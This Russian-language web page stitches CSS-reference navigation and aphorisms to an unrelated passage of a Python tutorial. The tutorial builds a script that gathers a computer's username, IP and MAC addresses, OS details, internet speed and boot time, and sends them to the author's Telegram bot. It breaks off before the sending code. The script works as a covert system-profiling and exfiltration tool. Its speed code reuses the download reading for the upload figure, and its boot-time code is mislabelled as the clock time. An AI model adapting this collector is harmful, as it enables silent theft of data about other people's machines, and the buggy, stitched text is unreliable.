Невозможно отучить людей изучать самые ненужные предметы.
Введение в CSS
Преимущества стилей
Добавления стилей
Типы носителей
Базовый синтаксис
Значения стилевых свойств
Селекторы тегов
Классы
CSS3
Надо знать обо всем понемножку, но все о немногом.
Идентификаторы
Контекстные селекторы
Соседние селекторы
Дочерние селекторы
Селекторы атрибутов
Универсальный селектор
Псевдоклассы
Псевдоэлементы
Кто умеет, тот делает. Кто не умеет, тот учит. Кто не умеет учить - становится деканом. (Т. Мартин)
Группирование
Наследование
Каскадирование
Валидация
Идентификаторы и классы
Написание эффективного кода
Вёрстка
Изображения
Текст
Цвет
Линии и рамки
Углы
Списки
Ссылки
Дизайны сайтов
Формы
Таблицы
CSS3
HTML5
Блог для вебмастеров
Новости мира Интернет
Сайтостроение
Ремонт и советы
Все новости
Справочник от А до Я
HTML, CSS, JavaScript
Афоризмы о учёбе
Статьи об афоризмах
Все Афоризмы
Помогли мы вам |
Еще нам потребуется Python. Я буду использовать версию 3.9.0 — с ней точно все работает.
Давай сначала обрисуем, что мы вообще планируем делать. Я планирую собирать следующую информацию:
И отправляться это все будет прямиком тебе в телегу через специальный бот.
Наверняка у тебя возник вопрос: зачем может понадобиться MAC-адрес или модель процессора? Эти параметры меняются очень и очень редко, так что прекрасно подходят для фингерпринтинга. Даже если пользователь купит более быстрый интернет‑канал или поменяет часовой пояс, ты без особого труда сможешь определить, что уже имел дело с этим компьютером. Стоит помнить, что ровно такие же методы используют хитрые рекламщики для идентификации пользователей, да и разработчики триальных версий программ тоже. Эта статья поможет чуть лучше понять, что можно узнать о твоем компьютере в полностью автоматическом режиме, а как применить эту информацию — решать только тебе.
В этой статье мы не будем показывать, как сформировать устойчивый к незначительным изменениям идентификатор, который поможет однозначно определить конкретный компьютер. Если тебе станет интересно — пиши в комментариях, и, возможно, мы сделаем большой гайд на эту тему!
Для отправки данных я решил воспользоваться Telegram-ботом. Создать его ты можешь через BotFather, а после сохранить token твоего творения. Публиковать его нельзя — любой, кто получит этот токен, сможет захватить контроль над твоим ботом.
Для подключения к Bot API «телеги» нужны всего две строчки:
import telebot
bot = telebot.TeleBot("token from BotFather") # Подключение бота
Чтобы оценить быстродействие, можно написать еще пару строк. Весь дальнейший код расположим между ними. Описанное выше подключение бота уже вписано сюда.
import telebot
from datetime import datetime
bot = telebot.TeleBot("token")
start = datetime.now() # Начало отсчета
# Сюда поместим нашу основу, поэтому оставляем место
ends = datetime.now() # Конец отсчета
workspeed = format(ends - start) # Вычисление времени
Теперь перейдем собственно к сбору данных.
Я не буду долго ходить вокруг да около и сразу начну разбирать секцию импорта.
import getpass
import os
import socket
from datetime import datetime
from uuid import getnode as get_mac
import pyautogui
from speedtest import Speedtest
import telebot
import psutil
import platform
from PIL import Image
Теперь кратко рассмотрим, что делает каждый модуль. Если какие‑то функции тебе не нужны, выброси строку импорта модуля и код, который использует этот модуль. Все просто!
Итак, за работу с ОС и локальными ресурсами отвечают эти четыре модуля:
getpass
нужен для определения информации о пользователе;os
используем для взаимодействия с функциями ОС, вроде вызова внешних исполняемых файлов;psutil
работает с некоторыми низкоуровневыми системными функциями;platform
предоставит информацию об ОС.Этими модулями реализованы сетевые взаимодействия:
socket
— для работы с сокетами и получения IP-адресов;getnode
получает MAC-адрес машины;speedtest
замеряет характеристики интернет‑соединения;telebot
сделает всю рутину по работе с Telegram-ботом.Служебные примочки, которые трудно отнести к категориям выше:
datetime
позволит определить время работы программы;pyautogui
быстро и без боли работает с GUI;PIL.Image
— для снятия скриншота.После этого нам требуется узнать основные стабильные характеристики системы: IP- и MAC-адреса, имя пользователя и ОС:
name = getpass.getuser() # Имя пользователя
ip = socket.gethostbyname(socket.getfqdn()) # IP-адрес системы
mac = get_mac() # MAC адрес
ost = platform.uname() # Название операционной системы
Строки кода снабжены комментариями и в пояснениях не нуждаются.
from speedtest import Speedtest # Импорт модуля. Рассматривался выше
inet = Speedtest()
download = float(str(inet.download())[0:2] + "." # Входящая скорость
+ str(round(inet.download(), 2))[1]) * 0.125
uploads = float(str(inet.upload())[0:2] + "." # Исходящая скорость
+ str(round(inet.download(), 2))[1]) * 0.125
Скорость замеряется библиотекой сервиса Speedtest.net и, соответственно, выдает результат в мегабитах, а не мегабайтах. Чтобы это исправить, разделим численный результат на 8 или умножим на 0,125 — это одно и то же. Манипуляцию проделываем дважды — для входящей и исходящей скорости.
Важно понимать, что замер не претендует на сверхточность, потому что мы никак не можем легко проверить, какую часть канала потребляют другие программы или даже другие устройства в сети. Если ты подключился к рабочей станции удаленно, твое соединение тоже что‑то будет потреблять. В программе поправка на это не реализована из‑за ее слишком низкой точности и трудоемкости.
import psutil
zone = psutil.boot_time() # Узнает время, заданное на компьютере
time = datetime.fromtimestamp(zone) # Переводит данные в читаемый вид
Если ты настраиваешь чей‑то сервер или слишком удаленный компьютер, время может отличаться. Ко всем прочим данным добавим и показания часов — информация лишней не бывает. Если ты не знал, неправильно выставленное время и/или часовой пояс может вызывать сбои при подключении к сайтам, использующим HTTPS, а этот кусочек кода позволит легко выявить такие проблемы.
|
|